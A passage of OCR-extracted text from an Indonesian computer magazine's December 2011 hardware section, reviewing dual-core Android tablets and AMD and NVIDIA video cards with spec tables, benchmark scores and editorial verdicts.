tama di dunia yang menggunakan Tegra 2. Di sisi lain, dengan sisi resolusi lebih rendah daripada standar Honeycomb, seharusnya ia dapat menghadirkan tingkatan performa yang lebih tinggi. Namun, secara keseluruhan ia menghadirkan tingkatan performa yang tidak terlalu jauh berbeda. Menurut analisis kami, selain sisi hardware, performa juga bergantung pada hal lain, misalnya driver untuk memaksimalkannya. Kelebihan lainnya adalah disediakannya output mini HDMI 2 selain USB dan port proprietary 3 .[[emailprotected]]

PALING TERJANGKAU ❝Bicara tentang tablet dual core saat ini biasanya mengarah ke tawaran harga yang tinggi. Namun, itu tidak berlaku untuk Acer. Memang, ada pemangkasan pada panel display, tetapi itu tidak menghilangkan kemampuan maksimal tablet dual core. ❞

Wawa Sundawa Editor Hardware

29

11/16/2011 4:56:34 PM

HARDWARE TEST Group Test: Tablet Dual-core

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak

BEST PRODUCT

Website DATA TEKNIS Network Processor Operating System

12 2011

Layar

Internal Memory External Memory Koneksi Software Phonebook Messaging Browser Kamera Ringtones Baterai Dimensi Bobot Fitur-Fitur Lain

Dua dunia tablet dan notebook dalam satu platform.

Paket Penjualan

1

Kamera utama tanpa LED flash.

ASUS Transformer TF101G US$669 (kisaran) ASUSTeK Computer, Inc. Datascrip / (021) 6544515, Metrodata / (021) 2524555 id.asus.com GSM quad bands, HSPA+ (I, II, V, VIII) nVIDIA Tegra 2 250 1 GHz (dual-core) Android 3.2 (Honeycomb, upgradable to Ice Cream Sandwich) capasitive touchscreen, 1280 x 800 pixels, 10,1 inches IPS Panel (10-finger multi-touch) 16 GB storage, 1 GB RAM Micro SD WLAN 802.11 b/g/[emailprotected], Bluetooth V2.1+EDR ASUS Launcher, MyLibrary, MyNet, MyCloud, File manager, PC Sync. N/A e-mail, push e-mail, IM HTTP (Android browser) Primary 5 MP, Secondary 1,2 MP N/A 24,4 Wh Li-Polymer 271 x 171 x 12,98 mm 695 g 3.5 mm audio jack, audio player, video player, Wi-Fi sharing, etc. travel charger, USB cable, mobile docking

TOTAL PERFORMA

82%

TOTAL PENILAIAN %0 20

40

Total Performa Fitur & Perlengkapan Handling Service Harga

60

80 100 Nilai% 84% 92% 100% 48% 33%

Unit Mobile Docking. TOTAL NILAI

Port koneksi data proprietary.

WE LIKE Kinerja, build quality, mobile docking, akses storage eksternal.

88% WE DON’T Kamera utama tanpa dilengkapi LED flash.

TOTAL NILAI/HARGA (MAKS. 100=100%)

Housing untuk SIM card.

Tombol power dan volume.

Ekstra-storage dengan micro SD.

Port koneksi mini HDMI dan audio I/O.

Persaingan di dunia tablet semakin memanas dengan berbagai penawaran produk tablet ke pasaran. Salah satunya datang dari produsen ASUS dengan jajaran produknya, Transformer. Pada pengujian kali ini di ajang “Group Test” dengan batasan tablet dual core, ASUS mendatangkan seri Transformer yang sudah dilengkapi dengan koneksi 3G secara internal. Hal ini menjadikan produk ini sebagai alat komunikasi yang lengkap, hanya minus fungsi telepon dan SMS. Satu hal yang sangat menonjol dari produk ASUS ini adalah sisi build quality yang sangat baik. Tidak kami temukan sisi lemah dalam konstruksi produk. Dari tipe material, pada setiap sisi digunakan bahan aluminium berwarna keemasan dan pada bagian belakang digunakan bahan plastik bermotif seperti bilik. Semuanya ini membuat penawaran ASUS sangat unik dan terkesan powerful sekaligus premium. Tidak hanya dari sisi unit tablet utama, dalam paket penjualan, konsumen juga akan mendapatkan dua kardus kemasan. Kemasan kedua merupakan unit keyboard yang ASUS sebut sebagai mobile docking 1 . Dengan dipasangkan

30

30_ASUS Transformer TF101G GT_12_edit WS edit nur.indd 30

82%

pada mobile docking, tablet ASUS ini memiliki fungsi ekstra, seperti akses ke USB flashdisk, HDD eksternal via port USB standar di mobile docking, dan meningkatkan daya tahan baterai dengan klaim ASUS mencapai 16 jam pada pemutaran video. Sekilas, tablet ASUS ini tampak seperti netbook biasa. Untuk segi internal, ASUS memercayakannya pada solusi nVIDIA Tegra 2 sebagai motor penggerak utama TF101G. Satu kemungkinan ekstra, dari website resmi diklaim bahwa TF101G sudah ready OS Android Ice Cream Sandwich. Performa nVIDIA Tegra 2 250 dari produk ASUS ini pun cukup memuaskan.[[emailprotected]]

PALING LENGKAP ❝Tersedianya hingga aksesori utama pada paket penjualan menjadikan produk ASUS ini sebagai tawaran paling lengkap, terutama menyentuh sisi operasional dan interkoneksi. Bukan hanya itu, ekstra-keyboard menjadikan kinerja mobilitas yang lebih lama dibandingkan produk sekelasnya. ❞

Wawa Sundawa Editor Hardware

12/2011

11/16/2011 1:49:54 PM

Group Test: Tablet Dual-core HARDWARE TEST

HUAWEI MEDIAPAD

PRODUK/DATA TEST

BEST 12 PERFORMANCE 2011

PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Network Processor Operating System Layar Internal Memory External Memory Koneksi Software Phonebook Messaging Browser Kamera Ringtones Baterai Dimensi Berat Fitur-Fitur Lain Paket Penjualan

Huawei MediaPad £275 (kisaran)* Huawei Device www.huaweidevice.com www.huaweidevice.com GSM 850/900/1800/2100 Qualcomm MSM8X60 1.2 GHz Dual Core (GPU Adreno 220) Android 3.2 (Honeycomb) capasitive touchscreen, 1280 x 800 pixels, 7 inches 8 GB storage, 1 GB RAM ya Wi-Fi 802.11 b/g/n, Bluetooth V2.1+EDR, 3.5 mm stereo jack Huawei Office Suite ya e-mail, push e-mail, IM, SMS, MMS HTTP (Android browser) Primary 5 MP AF, Secondary 1,3 MP MP3 4100 mAh 190 x 124 x 10,5 mm 390 g 3.5 mm audio jack, audio player, video player, Wi-Fi sharing, etc. travel charger, kabel data, QIG

TOTAL PERFORMA

83%

TOTAL PENILAIAN 0

Tampak samping.

Tablet mungil dengan konstruksi premium.

20

40

Total Performa Fitur & Perlengkapan Handling Service Harga

TOTAL NILAI

1

WE LIKE Unibody aluminum enclosure, CPU kencang.

Port koneksi power, USB, dan mini HDMI.

60

80 100 Nilai% 83% 86% 93% 48% 56%

85% WE DON’T Kemampuan GPU moderat, kamera tanpa LED flash.

TOTAL NILAI/HARGA

82%

(MAKS. 100=100%)

*(http://tinyurl.com/73jdh5w)

Tombol volume dan power.

Speaker internal stereo dan port audio out. Front camera.

Main camera, tanpa flash.

Penampang belakang.

Huawei, produsen asli China, tampak tidak mau ketinggalan dalam menghadirkan solusi tablet berbasiskan Android Honeycomb melalui produknya, MediaPad, yang dihadirkan di ajang “Group Test” kali ini. Satu kenyataan yang jelas dari produk ini dibandingkan dengan tablet biasanya adalah ia hadir dengan berbekal panel display yang hanya seukuran 7”. Dengan kata lain, ia dikategorikan sebagai tablet mini. Walau begitu, pada segi spesifikasi internal produk, Huawei tetap mempertahankan kelas hardware yang cukup tinggi, mulai processor dual core hingga RAM yang mencapai 1 GB. Sedikit ekstra adalah penggunaan processor dari Qualcomm yang mencapai kecepatan 1,2 GHz, jauh lebih cepat dibandingkan tawaran produk-produk lain di ajang “Group Test” kali ini. Perbedaan berlanjut ke sisi sub-system graphic yang mana dengan penggunaan processor Qualcomm, ia tentunya menggunakan GPU seri Adreno yang kini mencapai model 12/2011

31_Huawei MediaPad GT_12_edit WS edit nur.indd 31

220. Namun, bila dibandingkan dengan rata-rata peserta “Group Test” kali ini yang menggunakan Tegra 2, solusi Adreno masih sedikit berada di bawah GPU GeForce ULP. Sementara, hasil pengujian performa tetap kompetitif lebih karena CPU berjalan pada clock yang lebih cepat. Pada sisi desain dan konstruksi, Huawei termasuk produsen yang sangat serius. Pada enclosure digunakan bahan aluminium unibody 1 , dipermanis dengan cover plastik hitam pada penutup baterai dan kamera.[[emailprotected]]

LEBIH CEPAT ❝Sisi pemrosesan CPU yang lebih cepat adalah kekuatan terbesar produk Huawei ini. Sedikit mengorbankan kemampuan grafis 3D tidak terlalu menjadi masalah karena mayoritas Android tidak hanya untuk gaming. ❞

Wawa Sundawa Editor Hardware

31

11/16/2011 2:00:14 PM

HARDWARE TEST Group Test: Tablet Dual-core

LG OPTIMUS PAD V900

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Network

1

Processor Operating System Layar Internal Memory External Memory Koneksi

Software Phonebook Messaging Browser Kamera Ringtones Baterai Dimensi Bobot Fitur-Fitur Lain Paket Penjualan

Tampilan Interkoneksi dari micro (USB samping. dan HDMI).

LG Optimus Pad V900 Rp6.900.000,00 (garansi 1 tahun) LG Electronics LG Indonesia, (021) 57973113 www.lg.com/id HSDPA 7.2 GPRS, EDGE, GSM 850/900/1800/1900 nVIDIA Tegra 2 250 1 GHz (dual core) Android 3.0 (Honeycomb) capasitive touchscreen, 1280 x 768 pixels, 8,9 inches 32 GB storage, 1 GB RAM N/A HSDPA 7.2 Mbps; HSUPA 2 Mbps, WiFi 802.11 b/g/n, DLNA, Wi-Fi hotspot, Bluetooth v2.1 with A2DP, EDR Google service, Adobe Flash Player, Polaris Office yes e-mail, push e-mail, IM, SNS HTTP (Android browser) Primary dual camera 5 MP LED flash (3D recording), Secondary 2 MP MP3 6400 mAh 243 x 149,4 x 12,8 mm 630 g 3.5 mm audio jack, audio player, video player, Wi-Fi sharing, etc. power adaptor, kabel power

TOTAL PERFORMA

Mampu merekam dan menjalankan 3D video.

83%

TOTAL PENILAIAN 0 Total Performa Fitur & Perlengkapan Handling Service Harga

20

40

60

80 100 Nilai% 83% 81% 93% 48% 24%

TOTAL NILAI

Penampang belakang dipermanis list berlogo Google.

WE LIKE Dual camera (3D recording), performa memuaskan, konstruksi.

Akses SIM card via cover belakang.

TOTAL NILAI/HARGA (MAKS. 100=100%)

1

83% WE DON’T High price.

77%

Speaker internal stereo.

Tombol volume. Dual camera untuk 3D recording.

Solusi tablet dual core dengan panel display 8,9 inci diajang “Group Test” kali ini salah satunya dikeluarkan oleh LG melalui produknya, Optimus Pad model V900. Bukan hanya itu, LG sedikit melangkah jauh dengan mengubah sisi rasio bentuk panel display menjadi lebih lebar dan sangat cocok untuk menampilkan konten HD secara penuh. Dengan ini, resolusi maksimal hanya sebesar 1280 x 768. Walau begitu, tingkatan pixel count yang mencapai 167 PPI tetap menjadikannya salah satu tablet dengan tampilan tajam. Namun, dalam tablet Optimus Pad ini, sisi bentuk layar bukan perhatian utama kami, melainkan sisi kamera yang sekaligus dilengkapi dengan dua kamera 1 utama di bagian belakang tablet. Dua kamera ini utamanya difungsikan sebagai recording video dalam bentuk 3D selain fungsi standarnya untuk capture foto dan video 2D. Bentuk 3D video sendiri masih dalam stereoscopic dasar yang memerlukan penggunaan

32

32_LG Optimus Pad V900_edit WS edit nur.indd 32

Tombol power dan konektor audio.

Konektor power untuk charging.

kacamata 3D pasif jenis anaglyph (red/blue). Sekilas, hal ini memang bisa menjadi ekstra tersendiri. Sayangnya, penggunaan tablet sendiri tidak hanya sebatas untuk menonton video. Beda halnya bila tablet ini dimaksudkan sebagai player di HDTV Anda. Dari segi spesifikasi internalnya, LG memilih kubu nVIDIA dengan platform Tegra 2 yang untuk saat ini menjadi pilihan favorit banyak produsen tablet. Dengan platform Tegra 2 ini, LG memiliki performa yang cukup kompetitif dengan tawaran produsen lain yang berplatform sama. Dalam hal konstruksi sendiri, LG bisa dikatakan salah satu yang terbaik meskipun masih menggunakan enclosure berbahan plastik. Secara keseluruhan, untuk tablet Android, penawaran LG cukup optimal, baik dari sisi performa maupun fungsinya. Sayangnya, ekstranya, terutama dual camera, meskipun baik, tetapi kurang efektif.[[emailprotected]] 12/2011

11/16/2011 4:55:30 PM

Group Test: Tablet Dual-core HARDWARE TEST

MOTOROLA XOOM MZ601

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Network

5 1

Processor Operating System Layar Internal Memory External Memory Koneksi

Software Phonebook Messaging Browser Kamera

Tombol volume.

1

Ringtones Baterai Dimensi Bobot Fitur-Fitur Lain

5

Paket Penjualan

2

3

Housing SIM card dan micro SD.

4

GSM 850/900/1800/1900; HSDPA 2100 nVIDIA Tegra 2 250 1 GHz (dual-core) Android 3.1 (Honeycomb) capasitive touchscreen, 1280 x 800 pixels, 10,1 inches 32 GB storage, 1 GB RAM ya, micro SD up to 32 GB HSDPA, 21 Mbps; HSUPA; Wi-Fi 802.11 a/b/g/n, Wi-Fi hotspot; Bluetooth v2.1 with A2DP Google service, Adobe Flash Player N/A e-mail, push e-mail, IM HTTP (Android browser) primary 5 MP dual LED flash, secondary 2 MP MP3 24 Wh 249,1 x 167,8 x 12,9 mm 730 g 3.5 mm audio jack, audio player, video player, Wi-Fi sharing, etc. power adaptor, kabel power

TOTAL PERFORMA

81%

TOTAL PENILAIAN 0

2

3

20

40

Total Performa Fitur & Perlengkapan Handling Service Harga

Kokoh, powerful, dan chubby.

7

Motorola Xoom MZ601 Rp5.999.000,00 (kisaran) MOTOROLA MOBILITY INC. PT Sistech Kharisma / (021) 3505668 www.motorola.com

4

6

80 100 Nilai% 81% 74% 75% 48% 34%

TOTAL NILAI

Interkoneksi utama, micro USB, micro HDMI, dan power port.

7

6

75%

WE LIKE Konstruksi dengan enclosure aluminium.

WE DON’T Dimensi dan berat.

TOTAL NILAI/HARGA (MAKS. 100=100%)

Penampang bagian belakang.

60

71%

Kamera utama dan dual LED flash, speaker stereo kiri dan tombol power/lock.

Tampak penampang bagian samping. Speaker stereo bagian kanan.

Tidak ketinggalan, solusi tablet ala Motorola dengan model Xoom MZ601 kami hadirkan dalam ajang “Group Test” kali ini. Dari segi standarnya, Xoom adalah tablet yang berbasiskan platform nVIDIA Tegra 2. Hal ini menyerupai sebagian besar peserta “Group Test” untuk kelas tablet dual core saat ini. Dengan kata lain, performanya tidak berbeda jauh. Halhal yang membuat unik antara satu produk dengan produk lainnya menjadi bergantung pada sisi desain, bentuk, fitur ekstra, atau maksimalitas integrasi driver. Pada produk Motorola sendiri, sisi bentuk tampak cukup standar dengan kesederhanaan desain tablet saat ini. Satu hal yang jelas adalah ia hadir dengan dimensi yang terlihat lebih gemuk. Bagusnya, desain konstruksi Motorola termasuk salah satu yang serius dengan digunakannya bahan aluminium. Karena itu, ia menjadi salah satu produk yang paling kokoh di ajang “Group Test” kali ini. Dengan mayoritas enclosure dari 12/2011

33_Motorola Xoom MZ601_12_edit WS edit nur.indd 33

Front camera.

bahan logam dan dimensi besar, ia menjadi produk terberat walau tidak mencapai 1 kg. Namun, dalam penggunaan lama dan hanya menggunakan satu tangan, Xoom adalah produk pembuat pegal tangan paling cepat. Interkoneksi adalah kelebihan lain dengan disediakannya hampir semua koneksi yang dimungkinkan pada tablet, seperti audio 1 , data (via USB) 2 , output video (micro HDMI) 3 , power port (charging) 4 , serta ekstra-housing untuk SIM card dan micro SD 5 . Satu hal unik adalah posisi tombol power/ lock 6 pada bagian belakang tablet dan pada kamera utama ia menggunakan dual LED flash 7 sekaligus. Perlu kami ingatkan bahwa port USB hanya berfungsi sebagai koneksi data dan tidak untuk charging. Untuk performa sendiri, sebagaimana pada tabel secara keseluruhan, ia dapat menghadirkan tingkatan yang baik sesuai dengan standar platform nVIDIA Tegra 2.[[emailprotected]]

33

11/16/2011 1:59:13 PM

HARDWARE TEST Group Test: Tablet Dual-core

SAMSUNG GALAXY TAB 8.9

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Network Processor Operating System Layar Internal Memory External Memory Koneksi

Software

Phonebook Messaging Browser Kamera Ringtones Baterai Dimensi Bobot Fitur-Fitur Lain Paket Penjualan

Samsung Galaxy Tab 8.9 Rp5.499.000,00 (kisaran) Samsung Electronics Co. Ltd. Samsung Service Centre / (021) 56997777 www.samsung.com GSM 850/900/1800/1900; HSDPA 850/900/1900/2100 nVIDIA Tegra 2 250 1 GHz (dual-core) Android 3.0 (Honeycomb) capasitive touchscreen, 1280 x 800 pixels, 8,9 inches 16 GB storage, 1 GB RAM N/A HSDPA 21 Mbps, HSUPA, Wi-Fi 802.11 a/b/g/n, Wi-Fi hotspot, Bluetooth v3.0 with A2DP Polaris Office (Word, Excel, PowerPoint, OneNote, PDF viewer), Adobe Flash Player yes e-mail, push e-mail, IM, SMS, MMS HTTP (Android browser) Primary 3,15 MP LED flash, Secondary 2 MP MP3 6100 mAh 157,8 x 230,9 x 8,6 mm 465 g 3.5 mm audio jack, audio player, video player, Wi-Fi sharing, etc. travel charger, headset earplug, 4 x earplug, kabel data

TOTAL PERFORMA

83%

TOTAL PENILAIAN

Housing Desain sederhana SIM card. dan slim.

1 Generasi kedua tablet Samsung dengan Honeycomb yang lebih kompak.

1

0 Total Performa Fitur & Perlengkapan Handling Service Harga

20

40

60

80 100 Nilai% 83% 83% 93% 48% 39%

TOTAL NILAI

Port koneksi data proprietary.

84%

WE LIKE Kinerja memuaskan, konstruksi kokoh.

WE DON’T Port koneksi data proprietary.

TOTAL NILAI/HARGA (MAKS. 100=100%)

79%

Unit speaker internal stereo.

Tampak penampang bagian belakang.

Tombol volume dan power.

Dalam hal produk mobile berbasiskan Android OS, siapa yang tidak tahu produsen Samsung? Berbagai produk smartphone hingga tablet yang ditawarkannya bisa disebut saingan terbesar Apple untuk seri iPhone dan iPad-nya. Pada pengujian “Group Test” kali ini, Samsung menghadirkan produk tablet seri kedua yang berbasiskan Android Honeycomb. Jika pada tablet sebelumnya yang pernah kami uji digunakan layar berukuran 10,1 inci, pada produk ini Samsung menggunakan layar 8,9 inci. Ukuran ini adalah satu-satunya pemangkasan yang dilakukan oleh Samsung. Karena itu, kemampuan maupun fitur masih tetap sama dengan seri 10.1. Terdapat kelebihan tersendiri dengan menerapkan ukuran panel yang lebih kecil. Pertama dari sisi jumlah PPI yang kini mencapai 169PPI yang sebanding dengan tawaran Galaxy Tab pertama. Hal ini menjamin kualitas tampilan yang lebih

34

34_Samsung Galaxy Tab 8.9 GT_12_edit WS edit nur.indd 34

Kamera dengan LED flash.

Port audio I/O dan mic.

tajam. Berikutnya sisi bobot yang tentunya makin ringan. Satu hal yang pasti, dengan ukuran yang makin kecil, tingkat konstruksi makin membaik. Tidak kami temukan kelemahan pada setiap sisi produk meskipun pada segi enclosure keseluruhan Samsung menggunakan bahan plastik pada produknya ini. Sisi internal tidak perlu dipertanyakan. Basis nVIDIA Tegra 2 menjadikan produk ini sebagai solusi tepat jika Anda ingin menjalankan semua aplikasi secara lancar yang disediakan untuk Android saat ini. Satu-satunya yang kami kurang sukai—jika tidak bisa dikatakan sebagai kekurangan—adalah sisi koneksi data kabel. Karena produk ini menggunakan jenis port proprietary 1 , tertutup kemungkinan penggunaan jenis kabel lain selain yang dikeluarkan oleh Samsung. Bagusnya, Samsung tetap memberikan keleluasaan untuk menjadikan koneksi sebagai storage tanpa perlu menggunakan aplikasi khusus seperti Kies.[[emailprotected]] 12/2011

11/16/2011 1:58:35 PM

Huawei_12.indd 1

09/11/2011 14:40:58

HARDWARE TEST

Video Card Enthusiast AMD

DIGITAL ALLIANCE HD 6990

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Graphics Processor Unit (GPU) Kapasitas RAM / Jenis RAM Core Clock / Memory Clock/ Shader Clock Interface Connector Paket Penjualan

Digital Alliance HD 6990 US$685 (kisaran) Digital Alliance Megacom / (021) 62203233 www.dagraphics.com Antilles (40 nm / 512 SP, 64 TMU, 32 ROP) 2 x 2 GB / GDDR5 2x 256-bit

830 MHz / 5000 MHz / NA (47° C Idle, 86° C full load) PCI Express 2.1 x16 manual, driver, voucher, 2 x mini DP to DVI, mini DP to HDMI, Crossfire Bridge Lain-Lain BENCHMARK/PENGUJIAN 1600x1200 (noAA+16xAF) Nilai %0 20 40 60 80 100 Nilai% 3DMark 11 (GPU Score) 5409.00 100% Unigine Heaven 2.5 (Open GL) 674.00 58% Crysis 2 (Central Park) 93.40 fps 100% Dirt 3 122.87 fps 100%

2

2048x1536 (8xAA+16xAF) 3DMark 11 (GPU Score) Unigine Heaven 2.5 (Open GL) Crysis 2 (Central Park) Dirt 3

4

2077.00 289.00 66.40 fps 89.40 fps

100% 100% 100% 100%

TOTAL PERFORMA

3

1

Antiles menawarkan kemampuan tinggi untuk menjalankan berbagai aplikasi grafis.

2

97%

TOTAL PENILAIAN %0 20

40

60

Total Performa Kelengkapan Handling Service Harga WE LIKE Performa sangat tinggi, tersedia berbagai converter untuk display.

80 100 Nilai% 97% 86% 62% 64% 47%

WE DON’T Pendinginan kurang optimal, harga mahal.

TOTAL NILAI

74%

(MAKS. 200=100%)

Indikasi penggunaan dual GPU sengaja diperlihatkan. Kipas dengan standard reference AMD.

100% Independent Test-bed: Intel Core i7 Extreme 965 3.2GHz, Asus P6T Deluxe V2, TEAM Elite DDR3-PC10600 CL9 DC 1333MHz 3x2GB, WD740ADFD-00NLR3 Raptor 74GB, Microsoft Windows 7 Ultimate RC 64-bit.

4

Ventilasi untuk membuang panas.

Dua power connector 8-pin.

Kembali lab kami kedatangan video card dual GPU kelas antusias dengan basis AMD, yaitu Digital Alliance HD 6990. Sebelumnya, kami juga menguji seri yang sama, tetapi dari brand yang berbeda, yaitu VTX HD 6990. Dari segi spesifikasi, keduanya cukup identik karena sama-sama menggunakan versi referensi dari AMD. Tidak ada perbedaan yang telalu signifikan di antaranya keduanya, kecuali segi paket penjualannya. Video card ini secara internal menggunakan GPU Antiles yang notabene merupakan kombinasi antara dua GPU Cayman XT 1 . Pasalnya, bila diperhatikan, Antiles dan Cayman XT memiliki spesifikasi yang sama dengan konfigurasi core yang terdiri atas 1536 unified shader, 96 mapping unit, dan 32 ROP (Render Output Unit). Sementara, untuk base clock, ia berjalan pada 830 MHz. Namun, Anda dapat meningkatkan kemampuannya sehingga berjalan pada 880 MHz dengan

36

36_Digital Alliance HD 6990_VA edit nur.indd 36

3

Output interface terdiri atas 1 port DVI dan 4 mini Display port.

mengubah switch untuk mengaktifkan profile BIOS dengan konfigurasi yang lebih tinggi. Untuk versi referensi ini, tampaknya masalah utama terletak pada sistem pendingin. Ia hanya dilengkapi dengan heatsink dan single fan yang terletak di tengah untuk melepaskan panas secara efisien 2 . Namun, kenyataanya hal tersebut memang belum cukup untuk memfasilitasi kemampuan extreme video card ini. Hal ini terlihat dari suhu pada kondisi idle yang berada pada 47° C dan terus merangkak naik tak terkendali hingga menembus 85° C. Meskipun masih di bawah threshold, kinerja yang berkelanjutan pada kondisi ekstrem seperti ini bisa mengakibatkan terjadinya degradasi terhadap kemampuan GPU. Untuk output interface, ia menyediakan satu DVI port 3 dengan empat mini Display port 4 . Walaupun terlihat kurang variatif, tersedia berbagai converter pada paket penjualannya.[[emailprotected]] 12/2011

11/8/2011 12:01:18 PM

Video Card Mid-Range AMD HARDWARE TEST

SAPPHIRE VAPOR-X HD 6770

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Graphics Processor Unit (GPU) Kapasitas RAM / Jenis RAM Core Clock / Memory Clock / Shader Clock Interface Connector Paket Penjualan

Sapphire Vapor-X HD 6770 US$153 (kisaran) Sapphire Technology Astrindo Senayasa / (021) 61213330 www.sapphiretech.com Juniper (40 nm / 800 SP, 40 TMU, 16 ROP) 2048 MB / GDDR3 128-bit

860 MHz (38° C idle, 67° C full load) / 1200 MHz PCI Express 2.0 x16 CD driver, manual book, adapter DVI to D-sub, converter molex to 6-pin power PCIe Lain-Lain N/A BENCHMARK/PENGUJIAN 1024x768 (noAA+16xAF) Nilai %0 20 40 60 80 100 Nilai% 3DMark 11 (GPU Score) 2615.00 100% Unigine Heaven 2.5 (Open GL) 892.00 100% Crysis 2 (Central Park) 66.50 fps 100% Dirt 3 136.06 fps 100%

1

1280x1024 (2xAA+16xAF) 3DMark 11 (GPU Score) Unigine Heaven 2.5 (Open GL) Crysis 2 (Central Park) Dirt 3

4 3 2

1546.00 589.00 41.10 fps 100.43 fps

100% 100% 100% 100%

TOTAL PERFORMA

100%

TOTAL PENILAIAN %0 20 Total Performa Kelengkapan Handling Service Harga

4

2

3

WE LIKE Performa cukup baik, pendinginan optimal.

Output interface yang mendukung multi-display.

TOTAL NILAI (MAKS. 200=100%)

1

40

60

80 100 Nilai% 100% 65% 88% 82% 91%

WE DON’T Peningkatan clock dari versi referensinya hanya 1%.

88%

100% Independent Test-bed: Intel Core i7 Extreme 965 3.2GHz, Asus P6T Deluxe V2, TEAM Elite DDR3-PC10600 CL9 DC 1333MHz 3x2GB, WD740ADFD-00NLR3 Raptor 74GB, Microsoft Windows 7 Ultimate RC 64-bit.

Vapor-X siap meredam panas untuk kondisi overclock sekalipun.

Menggunakan 4 memory ELPIDA W1032BBBG-50F untuk access time pada level 5 nanosecond.

Sapphire memang selalu memberikan kejutan sebagai partner utama AMD dalam desain teknologi dan kreativitasnya. Kali ini Sapphire menggandeng GPU dari seri HD 6770 dengan code Juniper XT. Sekilas, tampaknya code name tersebut sangatlah tidak asing karena pada seri sebelumnya, yakni HD 5770, juga digunakan GPU yang sama. Setelah diteliti, konfigurasi internalnya pun sangat identik. Lantas, apa perbedaan di antara keduanya? Sepertinya, AMD masih memercayakan kemampuan Juniper XT untuk bersaing di pasar kelas mid-range sehingga cukup melakukan rebranding Juniper XT ke keluarga HD 6000. Video card ini dari segi performa maupun harga yang ditawarkan memang ditujukan untuk melawan penetrasi yang dilakukan oleh rivalnya dari kelas yang sama, yaitu nVIDIA GTX 550 dan GTS 450. Untuk seri HD 6770 ini, Sapphire memberikan peningkatan 12/2011

37_saphire hd 6770_VA edit nur.indd 37

frekuensi clock pada GPU hanya 1% dari versi referensinya. Padahal, video card ini telah dipersenjatai dengan Vapor-X 1 untuk mendukung kemampuan ekstrem sekalipun dengan kemampuan menekan suhu ke kondisi ideal serta tingkat kebisingan yang minimal. Dari segi penggunaan komponen, terdapat sirkuit pengaturan tegangan yang telah ditingkatkan dengan menggunakan kapasitor solid dan Sapphire’s Black Diamond choke. Penggunaan Sapphire Black Diamond choke ini memungkinkan video card dapat bekerja 10% lebih dingin dan 25% lebih hemat energi. Untuk dukungan multi-display, Anda dapat mengandalkan video card ini yang memiliki dua Dual link DVI 2 serta HDMI 3 dan Display Port 4 . Sebagai tambahan, ia mendukung hingga enam monitor secara simultan dengan bantuan converter dan AMD Eyefinity.[[emailprotected]]

37

11/8/2011 12:03:02 PM

HARDWARE TEST

Video Card Low-End NVIDIA

ZOTAC GEFORCE GT 440

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Graphics Processor Unit (GPU) Kapasitas RAM / Jenis RAM Core Clock / Memory Clock / Shader Clock Interface Connector Paket Penjualan

Zotac Geforce GT 440 US$86 (kisaran) Zotac Asiaraya / (021) 62304048 www.zotac.com GF108 (40 nm / 96 SP, 32 TMU, 16 ROP) 2048 MB / GDDR3 128-bit

810 MHz (36° C idle, 70° C full load) / 667 MHz / 1620 MHz PCI Express 2.0 x16 CD driver, manual book, adapter DVI to D-sub Lain-Lain N/A BENCHMARK/PENGUJIAN 800x600 (noAA+16xAF) Nilai %0 20 40 60 80 100 Nilai% 3DMark 11 (GPU Score) 1285.00 91% Unigine Heaven 2.5 (Open GL) 725.00 100% Crysis 2 (Central Park) 36.90 fps 100% Dirt 3 88.38 fps 100%

3

4

1024x768 (noAA+16xAF) 3DMark 11 (GPU Score) Unigine Heaven 2.5 (Open GL) Crysis 2 (Central Park) Dirt 3

1

928.00 557.00 26.40 fps 67.86 fps

92% 100% 100% 100%

2 TOTAL PERFORMA

1

98%

TOTAL PENILAIAN %0 20 Total Performa Kelengkapan Handling Service Harga WE LIKE Low power consumption, kapasitas memory besar.

4

60

80 100 Nilai% 98% 60% 89% 64% 97%

WE DON’T -

TOTAL NILAI

3

40

88%

(MAKS. 200=100%)

100% Independent Test-bed: Intel Core i7 Extreme 965 3.2GHz, Asus P6T Deluxe V2, TEAM Elite DDR3-PC10600 CL9 DC 1333MHz 3 x 2GB, WD740ADFD-00NLR3 Raptor 74 GB, Microsoft Windows 7 Ultimate RC 64-bit.

1 2 Pendinginan mengandalkan heatsink dan kipas kecil berdiameter 5,5 cm.

Board dengan standard reference nVIDIA.

Tampaknya, persaingan video card untuk kelas entry atau low-end akan semakin seru dengan hadirnya seri dan merek yang cukup beragam, misalnya produk Zotac Geforce GT 440 ini. Video card dengan GPU GF108 ini menggunakan versi reference nVIDIA dengan basis clock standar untuk GPU yang berjalan pada 810 MHz dan shader clock pada 1620 MHz. Sebagaimana umumnya video card entry level, Zotac Geforce GT 440 ini menggunakan tipe memory GDDR3 dengan kapasitas 2048 MB. Penggunaan kapasitas memory yang cukup besar tiada lain adalah untuk dukungan resolusi tinggi hingga 2560 x 1600 melalui output interface dua dual link DVI 1 dan HDMI 2 . Seperti yang dijelaskan sebelumnya, arsitektur GPU Fermi memang selalu memberikan sedikit kejutan. Seluruh pengujian, baik pengujian sintetis maupun pengujian game, menghasilkan skor yang cukup baik, apalagi harga yang ditawarkan pun

38

38_Zotac GT 440_VA edit nur.indd 38

Output digital untuk dukungan resolusi tinggi.

masih terjangkau, yaitu pada kisaran US$86, cukup kompetitif untuk segmen pasar entry level. Untuk sistem pendinginan, video card ini memercayakan heatsink berpenampang luas serta kipas kecil berdiameter 5,5 cm 3 . Kami sempat menguji temperatur yang dihasilkan ketika diberikan beban penuh. Hasilnya, ia mampu menahan laju panas dan mencapai steady state pada 70° C. Sementara, untuk asupan daya, video card ini hanya dibekali dengan controller tiga fasa 4 mengingat daya yang ia konsumsi hanya diperoleh melalui slot PCIe dengan standar maksimal sebesar 75 watt. Terdapat hal yang menarik dari video card Zotac yang menjadi kelebihan tersendiri dibandingkan video card lain, yaitu segi nonteknisnya. Hampir seluruh seri Zotac yang pernah kami uji selalu menyertakan software, seperti Firestorm, PhysX, vReveal, dan Cooliris.[[emailprotected]] 12/2011

11/8/2011 12:42:51 PM

DA 1- PSU_12.indd 1

09/11/2011 15:29:11

HARDWARE TEST

Processor

AMD FX-8150 BLACK EDITION

